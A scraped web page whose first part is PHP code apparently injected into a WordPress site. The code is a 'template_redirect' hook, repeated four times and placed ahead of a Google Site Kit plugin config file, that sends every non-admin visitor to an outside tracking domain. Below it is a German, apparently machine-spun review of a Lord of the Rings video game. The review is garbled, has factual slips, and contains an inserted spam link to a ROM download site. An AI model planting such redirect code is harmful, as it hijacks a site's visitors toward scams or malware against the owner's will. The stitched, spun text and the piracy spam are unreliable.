function my_custom_redirect() { // Убедитесь, что этот код выполняется только на фронтенде if (!is_admin()) { // URL для редиректа $redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick'; // Выполнить редирект wp_redirect($redirect_url, 301); exit(); } } add_action('template_redirect', 'my_custom_redirect');function my_custom_redirect() { // Убедитесь, что этот код выполняетс�� только на фронтенде if (!is_admin()) { // URL для редиректа $redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick'; // Выполнить редирект wp_redirect($redirect_url, 301); exit(); } } add_action('template_redirect', 'my_custom_redirect');function my_custom_redirect() { // Убедитесь, что этот код выполняется только на фронтенде if (!is_admin()) { // URL для редиректа $redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick'; // Выполнить редирект wp_redirect($redirect_url, 301); exit(); } } add_action('template_redirect', 'my_custom_redirect');function my_custom_redirect() { // Убедитесь, что этот код выполняется только на фронтенде if (!is_admin()) { // URL для редиректа $redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick'; // Выполнить редирект wp_redirect($redirect_url, 301); exit(); } } add_action('template_redirect', 'my_custom_redirect'); /** * Plugin config. * * @package Google\Site_Kit * @copyright 2021 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit; // Define global constants. define( 'GOOGLESITEKIT_PLUGIN_BASENAME', plugin_basename( GOOGLESITEKIT_PLUGIN_MAIN_FILE ) ); define( 'GOOGLESITEKIT_PLUGIN_DIR_PATH', plugin_dir_path( GOOGLESITEKIT_PLUGIN_MAIN_FILE ) ); /** * Loads generated class maps for autoloading. * * @since 1.0.0 * @access private */ function autoload_classes() { $class_map = array_merge( // Site Kit classes. include GOOGLESITEKIT_PLUGIN_DIR_PATH . 'includes/vendor/composer/autoload_classmap.php', // Third-party classes. include GOOGLESITEKIT_PLUGIN_DIR_PATH . 'third-party/vendor/composer/autoload_classmap.php' ); spl_autoload_register( function ( $class ) use ( $class_map ) { if ( // Only handle classes defined in our class maps. isset( $class_map[ $class ] ) // Only load Site Kit classes or others that exist (e.g. polyfills). && ( 0 === strpos( $class, 'Google\\Site_Kit\\' ) || 0 === strpos( $class, 'Google\\Site_Kit_Dependencies\\' ) || file_exists( $class_map[ $class ] ) ) ) { require_once $class_map[ $class ]; } }, true, true ); } autoload_classes(); /** * Loads files containing functions from generated file map. * * @since 1.0.0 * @access private */ function autoload_vendor_files() { // Third-party files. $files = require GOOGLESITEKIT_PLUGIN_DIR_PATH . 'third-party/vendor/autoload_files.php'; foreach ( $files as $file_identifier => $file ) { require_once $file; } } autoload_vendor_files(); // Initialize the plugin. Plugin::load( GOOGLESITEKIT_PLUGIN_MAIN_FILE ); Herr der Ringe – Das dritte Zeitalter: Gardist auf der Suche nach Boromir – Tutku Zengin
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Herr der Ringe – Das dritte Zeitalter: Gardist auf der Suche nach Boromir

Herr der Ringe – Das dritte Zeitalter: Gardist auf der Suche nach Boromir

Eine Wache in der Zitadelle von Gondor ist auf der Suche nach dem General Boromir, der sich offenbar mit seinen Freunden auf dem Weg nach Mordor befindet. Mit dieser Aufgabe beginnt einer der Herr der Ringe-Klassiker, der etwas abseits der Haupthandlung von Büchern und Filmen spielt. Wir haben das Videospiel tatsächlich noch einmal aus dem Schrank gekramt, um herauszufinden, ob es immer noch so gut ist, wie wir es in Erinnerung haben.

Der Lord of the Bands – The Third Age erschien am 4. November 2004 für den GameCube, PlayStation 2 und Xbox. Es wurde von EA entwickelt, das damals die Lizenzen für die Herr der Ringe-Videospiele besaß. Das Gameplay ist ein Western-JRPG, nur in leichter Form. Das Let’s Play von YouTuber MythosofPlaying gibt euch einen kleinen Einblick direkt ins Spiel:

Neue Helden auf dem Weg der Gemeinschaft

Ein einsamer Wächter der Zitadelle von Gondor macht sich auf die Suche nach Boromir und versucht, ihm eine Nachricht zu überbringen. In diesem Szenario übernimmt der Spieler die Kontrolle über Berethor, der schnell Probleme mit einigen Nazgul hat.Suivez ce lien https://romsherunterladen.com/roms/gamecube/herr-der-ringe-der-das-dritte-zeitalter-disc-1-germany Sur notre site Internet Als einfacher Soldat ist er den Ringgeistern natürlich nicht gewachsen, erhält aber Unterstützung von Idrial aus Lothlorien, der die Fähigkeit besitzt, die Angreifer abzuwehren. Sie schließt sich Berethor an, nachdem sie die Ausrüstung der Wache gefunden haben.

Die Heldengruppe unterstützt Gandalf im Kampf gegen den Balrog. Die Designer hätten sich wirklich keinen größeren Bruch in der Überlieferung leisten können.

Soviel zum Prolog – das Spiel konzentriert sich vor allem auf Berethors Mission, die jedoch schnell in den Hintergrund tritt, da man viele Abenteuer erlebt und tatsächlich seinen Gefährten nachjagt. Insgesamt gelangt man in der Erzählung zu 9 Stellen, die man auch aus den Filmen und Büchern versteht. Berethor und sein Team reisen an folgenden Orten:

  • Eregion: Hier macht sich die Armee auf den Weg nach Moria.

  • West-Moria: Berethor taucht kurz nach den Gefährten in den Minen von Moria auf.

  • Ost-Moria: Das Team muss aus Moria fliehen, da die Freunde tatsächlich den Balrog aufgehetzt haben.

  • Schluchten von East Emnet: Isengart hat tatsächlich seine Uruk-Hai geschickt, die natürlich auch Berethor und seine Gefährten durchsuchen.

  • Rohan: Die Truppe hilft den Rohirim, sich gegen die plündernden Horden der Uruk-Hai zu wehren.

  • Helm’s Deep: Berethor und seine Krieger nehmen am Kampf um Helm’s Deep teil.

  • Osgiliath: Du nimmst an der Schlacht von Osgiliath teil.

  • Minas Tirith: Als Hauptmann der Wache der Zitadelle von Gondor beschützt du Minas Tirith vor Saurons Ork-Scharen.

  • Pelenor-Gebiet: Sie melden sich beim Kampf der Rohirim im Pelenor-Gebiet an.

Die Geschichte folgt nicht immer dem Buch und so gibt es einige Schlachten, die nie stattgefunden haben. Die Geschichte ist auch das eigentliche Problem, denn sie ist eigentlich nicht gut durchdacht und weist zu viele Fehler auf. Hier ging die poetische Freiheit der Programmierer etwas zu weit. Als Beispiel beschäftigen wir uns mit Gandalf gegen den Balrog von Morgoth – natürlich ein cooler Kampf, aber so unwahrscheinlich, dass er als Herr der Ringe-Fan wirklich verletzt.

Geschichte schadet in Position

Das Kampfsystem ist gut ausbalanciert und macht wirklich Spaß.

Die Stärke des Videospiels liegt nicht in der Geschichte, die eher unterhaltsam ist, aber einfach zu sehr von der Hintergrundgeschichte abweicht, sondern im Kampfsystem und den Helden selbst. Denn im Laufe des Spiels stellen wir eine winzige, mächtige Armee aus allen freien Völkern der Mittelerde (außer den Hobbits) zusammen. Zusätzlich zu Berethor und Idrial schließen sich die folgenden Helden dem Team an:

  • Elegost von Dunedain

  • Hadhod des Fundis-Clans

  • Morwen von Penmark (Rohirim)

  • Eaoden von der Riddermark (Rohirim)

Jeder der Kämpfer hat seine eigenen Angriffe und natürlich auch seine eigene Ausrüstung, die im Laufe des Videospiels verstärkt und gegen bessere Ausrüstung eingetauscht werden kann. Jede Persönlichkeit hat zudem ihre ganz eigene Motivation, die sie dazu bringt, an der Seite von Berethor zu kämpfen.

Apropos Kämpfen: Das muss man sehr häufig gegen die zahlreichen Diener des dunklen Anführers tun. Die Designer haben hier wirklich alles richtig gemacht. Die Kämpfe sind rundenbasiert, genau wie man es von den vorherigen JRPG-Spielen erwarten würde. Jeder der Helden führt zusammen mit Gegnern und Bossen nacheinander seine einfachen oder einzigartigen Angriffe aus und versucht, den Gegner zu besiegen. Ein unkompliziertes Konzept, das für schnelle Schlachten sorgt. Auch wenn einige der Bosskämpfe absurd sind, wie zum Beispiel der gegen den Balrog, machen sie dennoch viel Spaß, sodass man nur eine kleine Träne für Tradition vergießen muss und den Kampf trotzdem genießen kann.

Kampfsystem und Persönlichkeiten verwandeln Punkte um sich herum

Wenn ich das Spiel noch einmal spiele, muss ich ehrlich zugeben, dass ich einfach eine rosarote Brille aufgesetzt habe, als das Videospiel auf dem GameCube erschien. Als absoluter Herr der Ringe-Fan fand ich das Videospiel lediglich gut, was im Nachhinein leider nicht der Fall war. Die Geschichte ist amüsant und in manchen Szenen hätte ich gerne ein bedeutungsvolles Wort mit dem verantwortlichen Designer gewechselt.

Das Videospiel hat jedoch auch seine positiven Seiten. Die Persönlichkeiten sind wirklich gut gemacht und die Inspiration der Helden ist angemessen. Darüber hinaus gibt es erstaunliche Kämpfe gegen weithin bekannte Diener des dunklen Herrschers. Mehrere der Gefährten tauchen auch in den Levels auf, und die Erfahrung mit ihnen hätte, abgesehen von der Gandalf-Balrog-Geschichte, durchaus tatsächlich stattgefunden haben können. Alles in allem ist das Spiel mittelmäßig und wird möglicherweise noch sehr lange im Regal landen.

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